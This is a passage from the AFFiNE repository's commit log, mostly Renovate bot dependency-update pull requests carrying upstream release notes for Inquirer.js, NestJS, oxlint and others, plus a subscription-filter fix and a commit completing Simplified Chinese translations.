- Fix: Windows rendering bug
- Fix: Preserve exact literal types in `choices` array (Typescript only)
- Fix: Allow input `default` value to be of type `undefined` (Typescript
only)
- Bump dependencies

###
[`v8.4.2`](https://redirect.github.com/SBoudrias/Inquirer.js/releases/tag/%40inquirer/prompts%408.4.2)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.4.1...@inquirer/prompts@8.4.2)

- Fix: some Windows terminals would freeze and not react to keypresses.

###
[`v8.4.1`](https://redirect.github.com/SBoudrias/Inquirer.js/releases/tag/%40inquirer/prompts%408.4.1)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.4.0...@inquirer/prompts@8.4.1)

- Improve `expand` prompt type inferrence.

###
[`v8.4.0`](https://redirect.github.com/SBoudrias/Inquirer.js/releases/tag/%40inquirer/prompts%408.4.0)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.3.2...@inquirer/prompts@8.4.0)

- Feat: Added a loading message while validating editor prompt input.
- Type improvement: Better type inference with checkbox, search and
expand prompts.
- Fix: `editor` prompt not always properly handling editor path on
windows.

###
[`v8.3.2`](https://redirect.github.com/SBoudrias/Inquirer.js/releases/tag/%40inquirer/prompts%408.3.2)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.3.1...@inquirer/prompts@8.3.2)

- Fix broken 8.3.1 release process.

###
[`v8.3.1`](https://redirect.github.com/SBoudrias/Inquirer.js/releases/tag/%40inquirer/prompts%408.3.1)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.3.0...@inquirer/prompts@8.3.1)

- Bump dependencies

###
[`v8.3.0`](https://redirect.github.com/SBoudrias/Inquirer.js/releases/tag/%40inquirer/prompts%408.3.0)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.2.1...@inquirer/prompts@8.3.0)

- Fix: Keypresses happening before a prompt is rendered are now ignored.
- Fix (checkbox): Element who're both checked and disabled are now
always included in the returned array.
- Feat (select/checkbox): Cursor will now hover disabled options of the
list; but they still cannot be interacted with. This prevents the cursor
jumping ahead in ways that can be confusing.
- Feat: various new theme options to make all prompts content
localizable.

Finally, see our new [`@inquirer/i18n`
package](https://redirect.github.com/SBoudrias/Inquirer.js/tree/main/packages/i18n)!

###
[`v8.2.1`](https://redirect.github.com/SBoudrias/Inquirer.js/releases/tag/%40inquirer/prompts%408.2.1)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.2.0...@inquirer/prompts@8.2.1)

- chore: Switch `wrap-ansi` with `fast-wrap-ansi`

###
[`v8.2.0`](https://redirect.github.com/SBoudrias/Inquirer.js/releases/tag/%40inquirer/prompts%408.2.0)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.1.0...@inquirer/prompts@8.2.0)

- feat(`search`): Add support for `default`.
- feat(`rawlist`): Add support for `description` of choices. That
information is displayed under the list when the choice is highlighted.
- Bump dependencies

###
[`v8.1.0`](https://redirect.github.com/SBoudrias/Inquirer.js/releases/tag/%40inquirer/prompts%408.1.0)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.0.2...@inquirer/prompts@8.1.0)

- Feat: `rawlist` now supports `default` option.
- Fix: `select` now infer return type properly when passing a `choices`
array of string literals.

###
[`v8.0.2`](https://redirect.github.com/SBoudrias/Inquirer.js/releases/tag/%40inquirer/prompts%408.0.2)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.0.1...@inquirer/prompts@8.0.2)

- Fix Typescript not discovering types when `moduleResolution` is set to
`commonjs` (you probably want to fix that in your project if it's still
in your tsconfig)

###
[`v8.0.1`](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.0.0...@inquirer/prompts@8.0.1)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@8.0.0...@inquirer/prompts@8.0.1)

###
[`v8.0.0`](https://redirect.github.com/SBoudrias/Inquirer.js/releases/tag/%40inquirer/prompts%408.0.0)

[Compare
Source](https://redirect.github.com/SBoudrias/Inquirer.js/compare/@inquirer/prompts@7.10.1...@inquirer/prompts@8.0.0)

### Release Notes

#### 🚨 Breaking Changes

This is a major release that modernizes the codebase for Node.js ≥ 20.

##### ESM Only - No More CommonJS Support

**Impact:** All packages are now ESM-only. CommonJS imports are no
longer supported.

If you're on modern Node versions (≥ 20), this should be transparent and
have no impact.

##### Node.js Version Requirement

**Minimum Node.js version is now 20.x**

Node.js versions below 20 are no longer supported. Please upgrade to
Node.js 20 or later.

Node min versions: `>=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0`

##### Deprecated APIs Removed

The following deprecated APIs have been removed after being deprecated
in previous releases:

##### `list` prompt alias removed (affects `inquirer` package only)

The `list` alias has been removed from the `inquirer` package. This only
impacts users of the legacy `inquirer` package, not users of
`@inquirer/prompts` or individual prompt packages.

```js
//  No longer available (inquirer package only)
import inquirer from 'inquirer';
const answer = await inquirer.prompt([
  { type: 'list', name: 'choice', message: 'Pick one:', choices: ['a', 'b'] }
]);

//  Use 'select' instead
import inquirer from 'inquirer';
const answer = await inquirer.prompt([
  { type: 'select', name: 'choice', message: 'Pick one:', choices: ['a', 'b'] }
]);
```

##### `helpMode` theme property removed

```js
//  No longer available
const answer = await select({
  theme: { helpMode: 'never' }
});

//  Use theme.style.keysHelpTip instead
const answer = await select({
  theme: {
    style: {
      keysHelpTip: () => undefined // or your custom styling function
    }
  }
});
```

This affects the following prompts:

- `@inquirer/checkbox`
- `@inquirer/search`
- `@inquirer/select`

##### `instructions` config property removed

```js
//  No longer available
const answer = await checkbox({
  instructions: 'Custom instructions'
});

//  Use theme.style.keysHelpTip instead
const answer = await checkbox({
  theme: {
    style: {
      keysHelpTip: (text) => 'Custom instructions'
    }
  }
});
```

This affects the following prompts:

- `@inquirer/checkbox`
- `@inquirer/search`
- `@inquirer/select`

##### `cancel()` method removed

The `cancel()` method on prompt return custom `Promise` has been
removed.

```js
//  No longer available
const answerPromise = input({ message: 'Name?' });
answerPromise.cancel();
const answer = await answerPromise;

//  Use AbortSignal instead
const controller = new AbortController();
const answer = await input(
  { message: 'Name?' },
  { signal: controller.signal }
);
controller.abort();
```

##### Color Library Change: yoctocolors → Node.js `styleText`

**Internal change:** The project now uses Node.js built-in
`util.styleText()` instead of the `yoctocolors` package for terminal
colors. This makes Inquirer smaller and reduces risks of vulnerabilities
coming from transitive dependencies.

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xOTQuMCIsInVwZGF0ZWRJblZlciI6IjQzLjE5NC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-28 15:21:54 +08:00
renovate[bot] b3b9c54a89 chore: bump up @types/nodemailer version to v8 (#15026)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@types/nodemailer](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/nodemailer)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/nodemailer))
| [`^7.0.0` →
`^8.0.0`](https://renovatebot.com/diffs/npm/@types%2fnodemailer/7.0.9/8.0.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnodemailer/8.0.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnodemailer/7.0.9/8.0.0?slim=true)
|

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xOTQuMCIsInVwZGF0ZWRJblZlciI6IjQzLjE5NC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-28 15:21:06 +08:00
DarkSky 1d08e1d8c0 fix(server): dirty data handle (#15034)
#### PR Dependency Tree


* **PR #15034** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Refactor**
* Consolidated subscription visibility and “active” selection logic so
all subscription queries use a shared, consistent filter across the
platform.

* **Tests**
* Added a test to ensure expired subscriptions are excluded from active
subscription results.
* Updated test fixtures to differentiate expired, unexpired, and onetime
subscriptions for more accurate coverage.

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/15034?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-28 15:20:17 +08:00
xuzhi 66a6a5fffc feat(i18n): add missing zh-Hans translations (#15032)
## Summary

This PR completes the missing Simplified Chinese (`zh-Hans`) i18n
resource coverage.

The current i18n completeness calculation is based on key coverage
between `en.json` and each locale resource file. Before this change,
`zh-Hans.json` contained 2331 keys while `en.json` contained 2406 keys,
resulting in a displayed completeness of 97%.

This change adds the 75 missing `zh-Hans` translation entries and
updates the generated completeness value for `zh-Hans` from 97% to 100%.

## Changes

- Added 75 missing Simplified Chinese translations to
`packages/frontend/i18n/src/resources/zh-Hans.json`.
- Updated `packages/frontend/i18n/src/i18n-completenesses.json` so
`zh-Hans` now reports 100% completeness.
- Kept the scope limited to missing i18n resource keys only.

## Notes

This PR does not modify existing `zh-Hans` translations, terminology
choices, or hardcoded English UI strings outside the i18n resource
files.

## Verification

- Confirmed `zh-Hans.json` parses successfully.
- Confirmed `zh-Hans.json` now has full key coverage against `en.json`.
- Confirmed missing key count is 0.
- Confirmed computed `zh-Hans` completeness is 100%.
- Ran pre-commit checks:
  - `yarn lint-staged`
  - `yarn lint:ox`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Completed Chinese (Simplified) translations with 100% coverage for the
application.
* Added new translations across multiple areas: appearance and image
settings, export functionality, document import from Bear and Obsidian,
analytics and viewer information, editor settings including auto-date
titles and icon options, workspace sharing controls, calendar
integration with CalDAV support, share menu tooltips, and comprehensive
error messages.

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/15032?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-28 05:15:13 +08:00
renovate[bot] 4f14e8840c chore: bump up RevenueCat/purchases-ios-spm version to from: "5.74.0" (#15024)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[RevenueCat/purchases-ios-spm](https://redirect.github.com/RevenueCat/purchases-ios-spm)
| minor | `from: "5.73.0"` → `from: "5.74.0"` |

---

### Release Notes

<details>
<summary>RevenueCat/purchases-ios-spm
(RevenueCat/purchases-ios-spm)</summary>

###
[`v5.74.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.73.1...5.74.0)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.73.1...5.74.0)

###
[`v5.73.1`](https://redirect.github.com/RevenueCat/purchases-ios-spm/blob/HEAD/CHANGELOG.md#5731)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.73.0...5.73.1)

#### 5.73.1

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xOTQuMCIsInVwZGF0ZWRJblZlciI6IjQzLjE5NC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-24 19:28:25 +08:00
renovate[bot] 95dd8d03be chore: bump up nestjs (#15023)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [@nestjs/apollo](https://redirect.github.com/nestjs/graphql) |
[`13.4.1` →
`13.4.2`](https://renovatebot.com/diffs/npm/@nestjs%2fapollo/13.4.1/13.4.2)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fapollo/13.4.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fapollo/13.4.1/13.4.2?slim=true)
|
| [@nestjs/common](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common))
| [`11.1.21` →
`11.1.23`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/11.1.21/11.1.23)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/11.1.23?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/11.1.21/11.1.23?slim=true)
|
| [@nestjs/core](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core))
| [`11.1.21` →
`11.1.23`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/11.1.21/11.1.23)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/11.1.23?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/11.1.21/11.1.23?slim=true)
|
| [@nestjs/graphql](https://redirect.github.com/nestjs/graphql) |
[`13.4.1` →
`13.4.2`](https://renovatebot.com/diffs/npm/@nestjs%2fgraphql/13.4.1/13.4.2)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fgraphql/13.4.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fgraphql/13.4.1/13.4.2?slim=true)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`11.1.21` →
`11.1.23`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/11.1.21/11.1.23)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/11.1.23?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/11.1.21/11.1.23?slim=true)
|
| [@nestjs/platform-socket.io](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io))
| [`11.1.21` →
`11.1.23`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/11.1.21/11.1.23)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/11.1.23?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/11.1.21/11.1.23?slim=true)
|
| [@nestjs/swagger](https://redirect.github.com/nestjs/swagger) |
[`11.4.3` →
`11.4.4`](https://renovatebot.com/diffs/npm/@nestjs%2fswagger/11.4.3/11.4.4)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fswagger/11.4.4?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fswagger/11.4.3/11.4.4?slim=true)
|
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets))
| [`11.1.21` →
`11.1.23`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/11.1.21/11.1.23)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/11.1.23?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/11.1.21/11.1.23?slim=true)
|

---

### Release Notes

<details>
<summary>nestjs/graphql (@&#8203;nestjs/apollo)</summary>

###
[`v13.4.2`](https://redirect.github.com/nestjs/graphql/releases/tag/v13.4.2)

[Compare
Source](https://redirect.github.com/nestjs/graphql/compare/v13.4.1...v13.4.2)

##### v13.4.2 (2026-05-21)

##### Bug fixes

- `graphql`
- [#&#8203;4007](https://redirect.github.com/nestjs/graphql/pull/4007)
fix(graphql): preserve PickType fields for dual-decorated inputs
([@&#8203;yudin-s](https://redirect.github.com/yudin-s))

##### Committers: 1

- Serge Yudin ([@&#8203;yudin-s](https://redirect.github.com/yudin-s))

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v11.1.23`](https://redirect.github.com/nestjs/nest/releases/tag/v11.1.23)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.22...v11.1.23)

##### v11.1.23 (2026-05-21)

##### Bug fixes

- `core`
- [#&#8203;16998](https://redirect.github.com/nestjs/nest/issues/16998)
fix snapshot: true eagerly instantiates Terminus transient indicators
since 11.1.20

##### Committers: 1

- Kamil Mysliwiec
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))

###
[`v11.1.22`](https://redirect.github.com/nestjs/nest/releases/tag/v11.1.22)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.21...v11.1.22)

##### v11.1.22 (2026-05-21)

##### Bug fixes

- `core`
- [#&#8203;16993](https://redirect.github.com/nestjs/nest/pull/16993)
fix(core): inflight request injection bug
[#&#8203;16989](https://redirect.github.com/nestjs/nest/issues/16989)
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))

##### Enhancements

- `core`
- [#&#8203;16967](https://redirect.github.com/nestjs/nest/pull/16967)
fix(core): identify decorator type in invalid-class-module error
([@&#8203;HarrierOnChain](https://redirect.github.com/HarrierOnChain))
  -

##### Committers: 2

- Harrier
([@&#8203;HarrierOnChain](https://redirect.github.com/HarrierOnChain))
- Kamil Mysliwiec
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))

</details>

<details>
<summary>nestjs/swagger (@&#8203;nestjs/swagger)</summary>

###
[`v11.4.4`](https://redirect.github.com/nestjs/swagger/releases/tag/11.4.4)

[Compare
Source](https://redirect.github.com/nestjs/swagger/compare/11.4.3...11.4.4)

#### 11.4.4 (2026-05-21)

##### Bug fixes

- [#&#8203;3930](https://redirect.github.com/nestjs/swagger/pull/3930)
fix: top-level nullable with discriminator issue
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))

##### Enhancements

- [#&#8203;3921](https://redirect.github.com/nestjs/swagger/pull/3921)
feat(swagger): add summary field to Tag Object (OpenAPI 3.2)
([@&#8203;frbuceta](https://redirect.github.com/frbuceta))
- [#&#8203;3924](https://redirect.github.com/nestjs/swagger/pull/3924)
feat(swagger): warn when
[@&#8203;ApiTags](https://redirect.github.com/ApiTags) receives
hierarchy fields
([@&#8203;frbuceta](https://redirect.github.com/frbuceta))
- [#&#8203;3925](https://redirect.github.com/nestjs/swagger/pull/3925)
fix(swagger): type Tag Object kind as a free-form string
([@&#8203;frbuceta](https://redirect.github.com/frbuceta))

##### Committers: 4

- Alexander Scholz
([@&#8203;LucidityDesign](https://redirect.github.com/LucidityDesign))
- Francisco Buceta
([@&#8203;frbuceta](https://redirect.github.com/frbuceta))
- Kamil Mysliwiec
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
- Natanael dos Santos Feitosa
([@&#8203;natanfeitosa](https://redirect.github.com/natanfeitosa))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xOTQuMCIsInVwZGF0ZWRJblZlciI6IjQzLjE5NC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-24 19:28:10 +08:00
DarkSky 6d1172ba44 chore: bump deps 2026-05-24 07:13:16 +08:00
DarkSky 2aa56cbccd chore: bump toolchain & fix lint 2026-05-24 06:47:17 +08:00
renovate[bot] adfa51a372 chore: bump up oxlint version to v1.66.0 (#14974)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [oxlint](https://oxc.rs/docs/guide/usage/linter)
([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint))
| [`1.58.0` →
`1.66.0`](https://renovatebot.com/diffs/npm/oxlint/1.58.0/1.66.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/1.66.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/1.58.0/1.66.0?slim=true)
|

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

###
[`v1.66.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1660---2026-05-18)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.65.0...oxlint_v1.66.0)

##### 🚀 Features

-
[`0440b0f`](https://redirect.github.com/oxc-project/oxc/commit/0440b0f)
linter/eslint: Implement `id-match` rule
([#&#8203;22379](https://redirect.github.com/oxc-project/oxc/issues/22379))
(Vladislav Sayapin)
-
[`65bf119`](https://redirect.github.com/oxc-project/oxc/commit/65bf119)
linter: Implement react no-object-type-as-default-prop
([#&#8203;22481](https://redirect.github.com/oxc-project/oxc/issues/22481))
(uhyo)
-
[`2a6ddce`](https://redirect.github.com/oxc-project/oxc/commit/2a6ddce)
linter/eslint: Implement `no-implied-eval` rule
([#&#8203;22391](https://redirect.github.com/oxc-project/oxc/issues/22391))
(Vladislav Sayapin)
-
[`625758a`](https://redirect.github.com/oxc-project/oxc/commit/625758a)
linter/vitest: Implement padding-around-after-all-blocks rule
([#&#8203;21788](https://redirect.github.com/oxc-project/oxc/issues/21788))
(kapobajza)
-
[`37680b0`](https://redirect.github.com/oxc-project/oxc/commit/37680b0)
linter: Implement react no-unstable-nested-components
([#&#8203;22248](https://redirect.github.com/oxc-project/oxc/issues/22248))
(Jovi De Croock)
-
[`d8d9c74`](https://redirect.github.com/oxc-project/oxc/commit/d8d9c74)
linter: Implement import/newline-after-import rule
([#&#8203;19142](https://redirect.github.com/oxc-project/oxc/issues/19142))
(Ryuya Yanagi)

###
[`v1.65.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1650---2026-05-15)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.64.0...oxlint_v1.65.0)

##### 🚀 Features

-
[`5478fb5`](https://redirect.github.com/oxc-project/oxc/commit/5478fb5)
linter/jsdoc: Implement `require-throws-description` rule
([#&#8203;22386](https://redirect.github.com/oxc-project/oxc/issues/22386))
(Mikhail Baev)
-
[`c73225e`](https://redirect.github.com/oxc-project/oxc/commit/c73225e)
linter/eslint: Implement `prefer-arrow-callback` rule
([#&#8203;22312](https://redirect.github.com/oxc-project/oxc/issues/22312))
(박천(Cheon Park))
-
[`de82b59`](https://redirect.github.com/oxc-project/oxc/commit/de82b59)
linter: Add support for `eslint-plugin-jsx-a11y-x`
([#&#8203;22356](https://redirect.github.com/oxc-project/oxc/issues/22356))
(mehm8128)
-
[`f44b6c8`](https://redirect.github.com/oxc-project/oxc/commit/f44b6c8)
linter: Fill schemas `DummyRuleMap` with built-in rules
([#&#8203;22288](https://redirect.github.com/oxc-project/oxc/issues/22288))
(Sysix)

###
[`v1.64.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1640---2026-05-11)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.63.0...oxlint_v1.64.0)

##### 🚀 Features

-
[`fbb8f22`](https://redirect.github.com/oxc-project/oxc/commit/fbb8f22)
linter: Support `ignores` in overrides
([#&#8203;22148](https://redirect.github.com/oxc-project/oxc/issues/22148))
(camc314)

##### 🐛 Bug Fixes

-
[`25b7017`](https://redirect.github.com/oxc-project/oxc/commit/25b7017)
linter: Undocument override `ignores` option
([#&#8203;22213](https://redirect.github.com/oxc-project/oxc/issues/22213))
(camc314)

###
[`v1.63.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1630---2026-05-05)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.62.0...oxlint_v1.63.0)

##### 📚 Documentation

-
[`cacbc4a`](https://redirect.github.com/oxc-project/oxc/commit/cacbc4a)
linter: Fix jest settings docs.
([#&#8203;22127](https://redirect.github.com/oxc-project/oxc/issues/22127))
(connorshea)

###
[`v1.62.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1620---2026-04-27)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/7a75f0d0555ee8e5012874eeb3f06f7272804e37...oxlint_v1.62.0)

##### 🚀 Features

-
[`348f46c`](https://redirect.github.com/oxc-project/oxc/commit/348f46c)
linter: Add `respectEslintDisableDirectives` option
([#&#8203;21384](https://redirect.github.com/oxc-project/oxc/issues/21384))
(Christian Vuerings)

##### 🐛 Bug Fixes

-
[`8c425db`](https://redirect.github.com/oxc-project/oxc/commit/8c425db)
linter: Allow string for jest version in config schema
([#&#8203;21649](https://redirect.github.com/oxc-project/oxc/issues/21649))
(camc314)

###
[`v1.61.1`](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.61.0...7a75f0d0555ee8e5012874eeb3f06f7272804e37)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.61.0...7a75f0d0555ee8e5012874eeb3f06f7272804e37)

###
[`v1.61.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1610---2026-04-20)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.60.0...oxlint_v1.61.0)

##### 🚀 Features

-
[`38d8090`](https://redirect.github.com/oxc-project/oxc/commit/38d8090)
linter/jest: Implemented jest `version` settings in config file.
([#&#8203;21522](https://redirect.github.com/oxc-project/oxc/issues/21522))
(Said Atrahouch)

###
[`v1.60.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1600---2026-04-13)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.59.0...oxlint_v1.60.0)

##### 📚 Documentation

-
[`cfd8a4f`](https://redirect.github.com/oxc-project/oxc/commit/cfd8a4f)
linter: Don't rely on old eslint doc for available globals
([#&#8203;21334](https://redirect.github.com/oxc-project/oxc/issues/21334))
(Nicolas Le Cam)

### [`v1.59.0`]()

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.58.0...oxlint_v1.59.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

